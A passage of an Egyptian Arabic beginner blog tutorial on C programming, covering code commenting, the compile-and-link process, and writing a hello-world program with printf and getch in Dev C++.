</span><span dir="RTL"><span lang="AR-EG">زي ما انتوا شايفين هو اني كتبت كومنت جنب كل سطر عشان اشرح كل كود بيعمل
ايه . <o:p></o:p></span></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21.0pt; mso-list: l1 level1 lfo1; tab-stops: list 21.0pt; text-align: right; text-indent: -.25in; unicode-bidi: embed;">
-<span style="font-size: 7pt;">
</span><span dir="RTL"><span lang="AR-EG">لازم يكون فيه الكود منسق من خلال المسافات . </span></span><span dir="LTR"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">طيب ايه هي فايدة الـ </span><span dir="LTR">Best practice </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> ؟؟ . اولا لما بتيجي تبرمج مشروع كبير وتقعد
تفكر في الاكواد وتكتبها ممكن لما تيجي ترجع تاني للمشروع دا تنسي انت كتبت ايه او
هتعدل علي جزئيه معينه انت مش فاكرها . ثانيا عشان دايما فيه نظرية في البرمجه
اسمها " اليوزر دايما غبي ! </span><span dir="LTR"></span><span dir="LTR" style="font-family: Wingdings;"><span dir="LTR"></span>J</span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span>
" يعني ايه !! يعني المستخدم اللي هياخد منك الكود دا مش مطلوب منه انه يفهم
دماغك ماشيه ازاي ؟ وكتبت الاكود دي ازاي ؟؟ فعليك انك تشرح انت كتبتها ليه وفكرت
فيها ازاي عشان يقدر بعد كده يطور في البرنامج لو اراد. <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #3366ff;">كان فيه
قصة بسيطه بمناسبة الـ </span><span dir="LTR" style="color: #3366ff;">Best practice </span><span dir="RTL"></span><span lang="AR-EG" style="color: #3366ff;"><span dir="RTL"></span> قرأتها في احد الكتب : الكاتب فيها بيقول انه
بعد تخرجه بفتره طُلب منه مشروع لاحد الجامعات . وبعد ما انتهي من المشروع دا
ذهب بيه للجامعه ولما جه يشغله لقي فيه خطأ في البرنامج </span><span dir="LTR"></span><span dir="LTR" style="color: #3366ff; font-family: Wingdings;"><span dir="LTR"></span>L</span><span dir="RTL"></span><span lang="AR-EG" style="color: #3366ff;"><span dir="RTL"></span> ولسوء حظه طبعا انه مكنش متبع لطريقة الـ </span><span dir="LTR" style="color: #3366ff;">Best practice </span><span dir="RTL"></span><span lang="AR-EG" style="color: #3366ff;"><span dir="RTL"></span> فنسي الخطأ دا ممكن يكون
موجود في انهي سطر . وطبعا شكله كان وحش
جدا امام الحاضرين </span><span dir="LTR"></span><span dir="LTR" style="color: #3366ff; font-family: Wingdings;"><span dir="LTR"></span>J</span><span dir="RTL"></span><span lang="AR-EG" style="color: #3366ff;"><span dir="RTL"></span> ولكنه
بيقول لولا المسئوله هناك كانت بتتميز ببعض من روح المداعبه كان زمان مشروعه
اترفض وراح ع الفاضي </span><span dir="LTR"></span><span dir="LTR" style="color: #3366ff; font-family: Wingdings;"><span dir="LTR"></span>J</span><span dir="RTL"></span><span lang="AR-EG" style="color: #3366ff;"><span dir="RTL"></span>.<o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<b><u><span lang="AR-EG" style="color: #ff9900; font-size: 14pt;">خامسا- عملية انتاج البرنامج : <o:p></o:p></span></u></b></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">البرنامج بعد مابيتم
كتابة السورس كود بيتم بكذا مرحله عشان يتحول لملف تنفيذي </span><span dir="LTR"></span><span dir="LTR"><span dir="LTR"></span>.exe </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> يمكن تشغيله علي نظام التشغيل . طبعا احنا بنكتب
الكود وبنضغط </span><span dir="LTR">compile </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> وخلاص من غير مانفهم هو عمل ايه عشان يطلعلنا
الناتج فاحنا محتاجين اننا نفكر زي الكمبيوتر بحيث اننا نكون فاهمين خطوات انتاج
البرنامج . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21.0pt; mso-list: l1 level1 lfo1; tab-stops: list 21.0pt; text-align: right; text-indent: -.25in; unicode-bidi: embed;">
<span style="color: purple;">-<span style="font-size: 7pt;">
</span></span><span dir="RTL"><span lang="AR-EG" style="color: purple;">اولا: اي مبرمج بيبقي عايز يعمل مشروع بيبتدي
يفكر فيه ويكتب في ورقة تفاصيل المشروع .<o:p></o:p></span></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21.0pt; mso-list: l1 level1 lfo1; tab-stops: list 21.0pt; text-align: right; text-indent: -.25in; unicode-bidi: embed;">
<span style="color: purple;">-<span style="font-size: 7pt;">
</span></span><span dir="RTL"><span lang="AR-EG" style="color: purple;">ثانيا :بيبتدي يكتب اكواد المشروع اللي خططله في
الاول .</span></span><span dir="LTR" style="color: purple;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21.0pt; mso-list: l1 level1 lfo1; tab-stops: list 21.0pt; text-align: right; text-indent: -.25in; unicode-bidi: embed;">
<span style="color: purple;">-<span style="font-size: 7pt;">
</span></span><span dir="RTL"><span lang="AR-EG" style="color: purple;">ثالثا :بيقوم بعمل كومبايل.</span></span><span dir="LTR" style="color: purple;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21.0pt; mso-list: l1 level1 lfo1; tab-stops: list 21.0pt; text-align: right; text-indent: -.25in; unicode-bidi: embed;">
<span style="color: purple;">-<span style="font-size: 7pt;">
</span></span><span dir="RTL"><span lang="AR-EG" style="color: purple;">رابعا: يقوم الكومايلر بتفسير وترجمة اكواد
البرنامج اللي مكتوبه الي ملف </span></span><span dir="LTR" style="color: purple;">obj file </span><span dir="RTL"></span><span lang="AR-EG" style="color: purple;"><span dir="RTL"></span> . </span><span dir="LTR" style="color: purple;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21.0pt; mso-list: l1 level1 lfo1; tab-stops: list 21.0pt; text-align: right; text-indent: -.25in; unicode-bidi: embed;">
<span style="color: purple;">-<span style="font-size: 7pt;">
</span></span><span dir="RTL"><span lang="AR-EG" style="color: purple;">خامسا: يجي الـ </span></span><span dir="LTR" style="color: purple;">linker </span><span dir="RTL"></span><span lang="AR-EG" style="color: purple;"><span dir="RTL"></span> باضافة وتضمين المكتبات الخاصه بنظام التشغيل
الي الكود </span><span dir="LTR" style="color: purple;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21.0pt; mso-list: l1 level1 lfo1; tab-stops: list 21.0pt; text-align: right; text-indent: -.25in; unicode-bidi: embed;">
<span style="color: purple;">-<span style="font-size: 7pt;">
</span></span><span dir="RTL"><span lang="AR-EG" style="color: purple;">سادسا : يتم تحويل البرنامج الي تنفيذي يستطيع
الجهاز قرائته . </span></span><span dir="LTR" style="color: purple;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-g9gqdeMA7yY/T99uyLfamuI/AAAAAAAAARg/l9UwZbmE01k/s1600/compiler.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="424" src="http://4.bp.blogspot.com/-g9gqdeMA7yY/T99uyLfamuI/AAAAAAAAARg/l9UwZbmE01k/s640/compiler.jpg" width="640" /></a></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span style="color: purple;"><br /></span></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<b><u><span lang="AR-EG" style="color: #ff6600; font-size: 14pt;">سادسا : تطبيق عملي :</span></u></b><span lang="AR-EG" style="font-size: 14pt;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">دلوقتي احنا هنكتب
برنامج بسيط جدا يقوم بطباعة جمله معينه ولكن المهم هو اننا نفهم ازاي الاكواد
اتطبقت . وازاي اخدها الحاسب وابتدي يترجمها عشان يفهمها . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21.0pt; mso-list: l1 level1 lfo1; tab-stops: list 21.0pt; text-align: right; text-indent: -.25in; unicode-bidi: embed;">
<span style="color: #339966; font-size: 14pt;">-<span style="font-size: 7pt;">
</span></span><span dir="RTL"><span lang="AR-EG" style="color: #339966;">اول حاجه هنفتح برنامج </span></span><span dir="LTR" style="color: #339966;">Dev C++ </span><span dir="RTL"></span><span style="color: #339966; font-size: 14pt;"><span dir="RTL"></span> </span><span dir="LTR"></span><span dir="LTR" style="color: #339966; font-size: 14pt;"><span dir="LTR"></span>:<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="font-size: 14pt;"> وهننشئ ملف جديد من خلال قائمة </span><span dir="LTR" style="font-size: 14pt;">File </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14pt;"><span dir="RTL"></span> ومن ثم </span><span dir="LTR" style="font-size: 14pt;">New </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14pt;"><span dir="RTL"></span> واخيرا </span><span dir="LTR"></span><span dir="LTR" style="font-size: 14pt;"><span dir="LTR"></span> Source file </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14pt;"><span dir="RTL"></span> <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="font-size: 14pt;">او
نضغط </span><span dir="LTR" style="font-size: 14pt;">ctrl
+ N </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14pt;"><span dir="RTL"></span> . <o:p></o:p></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-e32yAs63crk/T99uzG3t0cI/AAAAAAAAARo/ZZnvGfS2QAI/s1600/dev_n.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="334" src="http://3.bp.blogspot.com/-e32yAs63crk/T99uzG3t0cI/AAAAAAAAARo/ZZnvGfS2QAI/s640/dev_n.png" width="640" /></a></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span style="font-size: 19px;"><br /></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="font-size: 14pt;">اول
حاجه لازم عشان نطبع جمله يعني بنعمل برنامج يطلع </span><span dir="LTR" style="font-size: 14pt;">output </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14pt;"><span dir="RTL"></span> فاحنا محتاجين مكتبة من مكتبات نظام التشغيل
الجاهزه اللي تفهم الجهاز انه فيه دخل او خرج في البرنامج دا . فهنستخدم مكتبة </span><span dir="LTR"></span><span dir="LTR" lang="AR-EG" style="font-size: 14pt;"><span dir="LTR"></span> </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14pt;"><span dir="RTL"></span> </span><span dir="LTR"></span><span dir="LTR" style="font-size: 14pt;"><span dir="LTR"></span><stdio.h></span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14pt;"><span dir="RTL"></span> من خلال الامر </span><span dir="LTR"></span><span dir="LTR" style="font-size: 14pt;"><span dir="LTR"></span>#include </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14pt;"><span dir="RTL"></span> . يعني في اول سطر هنكتب <o:p></o:p></span></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="LTR">
<span dir="LTR"></span><span style="color: #339966; font-size: 14pt;"><span dir="LTR"></span>#include
<stdio.h><o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span dir="RTL"></span><span lang="AR-EG" style="font-size: 14pt;"><span dir="RTL"></span> كما في الصوره الموضحه بالاسفل . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-vZ-IS_g6I4E/T99u9nLSN3I/AAAAAAAAASY/naZ24OX2uqE/s1600/include.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="332" src="http://2.bp.blogspot.com/-vZ-IS_g6I4E/T99u9nLSN3I/AAAAAAAAASY/naZ24OX2uqE/s640/include.png" width="640" /></a></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span style="font-size: 19px;"><br /></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="font-size: 14pt;">المكتبه
دي </span><span dir="LTR"></span><span dir="LTR" style="font-size: 14pt;"><span dir="LTR"></span> < stdio.h></span><span lang="AR-EG" style="font-size: 14pt;">اختصار لــــ </span><span dir="LTR" style="font-size: 14pt;">standard input output </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14pt;"><span dir="RTL"></span> . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="font-size: 14pt;">تاني
حاجه محتاجين نعرف الداله الاساسيه لان الكومبايلر اول لما بيجي يترجم بيبص للداله
الاساسيه ويشوف اللي تحتها . وتعريف الدالة الاساسيه من خلال الكود التالي . <o:p></o:p></span></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="LTR">
<span style="color: green; font-size: 14pt;">Int main(){<o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR">
<br /></div>
<div class="MsoNormal" dir="LTR">
<span style="color: green; font-size: 14pt;"> /* code will
be here */<o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR">
<br /></div>
<div class="MsoNormal" dir="LTR">
<span style="color: green; font-size: 14pt;">}</span><span style="font-size: 14pt;"><o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-r8pXZs6u6-8/T99u-0BuP7I/AAAAAAAAASg/0qkvvXQ8cNo/s1600/main_fun.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="330" src="http://4.bp.blogspot.com/-r8pXZs6u6-8/T99u-0BuP7I/AAAAAAAAASg/0qkvvXQ8cNo/s640/main_fun.png" width="640" /></a></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span style="font-size: 19px;"><br /></span></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span dir="LTR" style="font-size: 14pt;"> </span><span lang="AR-EG" style="font-size: 14pt;">تمام . دلوقتي احنا عايزين نكتب امر الطباعه وهو </span><span dir="LTR" style="font-size: 14pt;">printf().</span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14pt;"><span dir="RTL"></span> واحنا عايزين نطبع اي جمله مثلا "</span><span dir="LTR" style="font-size: 14pt;">Hey everybody ! </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14pt;"><span dir="RTL"></span> " . فهنكتب </span><span dir="LTR" style="font-size: 14pt;"><o:p></o:p></span></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="LTR">
<span style="color: green; font-size: 14pt;">Printf(“Hey Everybody ! ”);<span dir="RTL" lang="AR-EG"><o:p></o:p></span></span></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="color: red; font-size: 14pt;">تحذير : اهم حاجه تركيبة الجمله عشان ميحصلش </span><span dir="LTR" style="color: red; font-size: 14pt;">syntax error </span><span dir="RTL"></span><span lang="AR-EG" style="color: red; font-size: 14pt;"><span dir="RTL"></span> يعني جملة </span><span dir="LTR" style="color: red; font-size: 14pt;">Hey
everybody </span><span dir="RTL"></span><span lang="AR-EG" style="color: red; font-size: 14pt;"><span dir="RTL"></span> تتكتب بين علامتين تنصيص - ط+</span><span dir="LTR" style="color: red; font-size: 14pt;">Shift </span><span dir="RTL"></span><span lang="AR-EG" style="color: red; font-size: 14pt;"><span dir="RTL"></span> - ولازم الجمله تنتهي بـ
</span><span dir="LTR" style="color: red; font-size: 14pt;">semicolon </span><span dir="RTL"></span><span lang="AR-EG" style="color: red; font-size: 14pt;"><span dir="RTL"></span> اللي هوا حرف الـ ك بالعربي . <o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-piCCOmsi8Uw/T99u8TZnm1I/AAAAAAAAASQ/ptz2smLWGTQ/s1600/hey_everybody.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="332" src="http://1.bp.blogspot.com/-piCCOmsi8Uw/T99u8TZnm1I/AAAAAAAAASQ/ptz2smLWGTQ/s640/hey_everybody.png" width="640" /></a></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span style="font-size: 19px;"><br /></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="font-size: 14pt;">تمام
.. الان احنا قولنا للبرنامج اطبع جملة </span><span dir="LTR"></span><span dir="LTR" style="font-size: 14pt;"><span dir="LTR"></span>(“Hey
everybody”) </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14pt;"><span dir="RTL"></span> لكن البرنامج لازم يكون له نهايه يعني يطبع
الجمله ويقفل علي طول او يطبع الجمله ويستني من المستخدم انه يقفل ايا كان . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="font-size: 14pt;">احنا
امامنا طريقين </span><span dir="LTR"></span><span dir="LTR" style="font-family: Wingdings; font-size: 14pt;"><span dir="LTR"></span>J</span><span dir="LTR" style="font-size: 14pt;"> </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14pt;"><span dir="RTL"></span> <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="font-size: 14pt;">يا اما
نستخدم </span><span dir="LTR" style="font-size: 14pt;">return
0 ; </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14pt;"><span dir="RTL"></span> ودي هتطبع الجمله وتقفل البرنامج علي طول . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="font-size: 14pt;">او
ممكن نستخدم دالة </span><span dir="LTR" style="font-size: 14pt;">getch(); </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14pt;"><span dir="RTL"></span> وهي اختصار لـ </span><span dir="LTR" style="font-size: 14pt;">get character </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14pt;"><span dir="RTL"></span> . ودي هتطبع الجمله وتستني
من المستخدم انه يدوس اي زرار عشان البرنامج يقفل . وانا افضلها عشان نقدر نشوف
الجمله زي ما احنا عايزين فهكتب الامر دا .<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="LTR">
<span style="color: #339966; font-size: 14pt;">Getch();<o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-j9FwB3Pdde4/T99u62iexxI/AAAAAAAAASI/UhgLTRjVma8/s1600/getch.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="332" src="http://1.bp.blogspot.com/-j9FwB3Pdde4/T99u62iexxI/AAAAAAAAASI/UhgLTRjVma8/s640/getch.png" width="640" /></a></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span style="font-size: 19px;"><br /></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="font-size: 14pt;">حاليا
.. انتهينا من كتابة البرنامج ولكن عايزين نبتدي نشغله ونعمله كومبايل . هنختار من قائمة </span><span dir="LTR" style="font-size: 14pt;">Execute </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14pt;"><span dir="RTL"></span> - </span><span dir="LTR" style="font-size: 14pt;">compile and run <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="font-size: 14pt;">او
نضغط علي </span><span dir="LTR" style="font-size: 14pt;">F9
</span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14pt;"><span dir="RTL"></span> . هيحتاج مننا الاول اننا نحفظ الملف . <o:p></o:p></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-PJoUINvbxoM/T99vCV9VC2I/AAAAAAAAASw/n41y3YhaTco/s1600/save.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="352" src="http://2.bp.blogspot.com/-PJoUINvbxoM/T99vCV9VC2I/AAAAAAAAASw/n41y3YhaTco/s640/save.png" width="640" /></a></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span style="font-size: 19px;"><br /></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="font-size: 14pt;">انا
هحفظ الملف في الـ </span><span dir="LTR" style="font-size: 14pt;">Desktop </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14pt;"><span dir="RTL"></span> وسميته </span><span dir="LTR" style="font-size: 14pt;">ahmed.c </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14pt;"><span dir="RTL"></span> <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="color: red; font-size: 14pt;">ملحوظة مهمه جدا : لازم لما نيجي نحفظ الملف يكون الامتداد </span><span dir="LTR"></span><span dir="LTR" style="color: red; font-size: 14pt;"><span dir="LTR"></span>.c </span><span dir="RTL"></span><span lang="AR-EG" style="color: red; font-size: 14pt;"><span dir="RTL"></span> عشان البرنامج دا بيعمل كومبايل لـ </span><span dir="LTR" style="color: red; font-size: 14pt;">cpp </span><span dir="RTL"></span><span lang="AR-EG" style="color: red; font-size: 14pt;"><span dir="RTL"></span> ايضا فعشان
ميحصلش مشاكل .</span><span dir="LTR" style="color: red; font-size: 14pt;"><o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="font-size: 14pt;">وهيبتدي
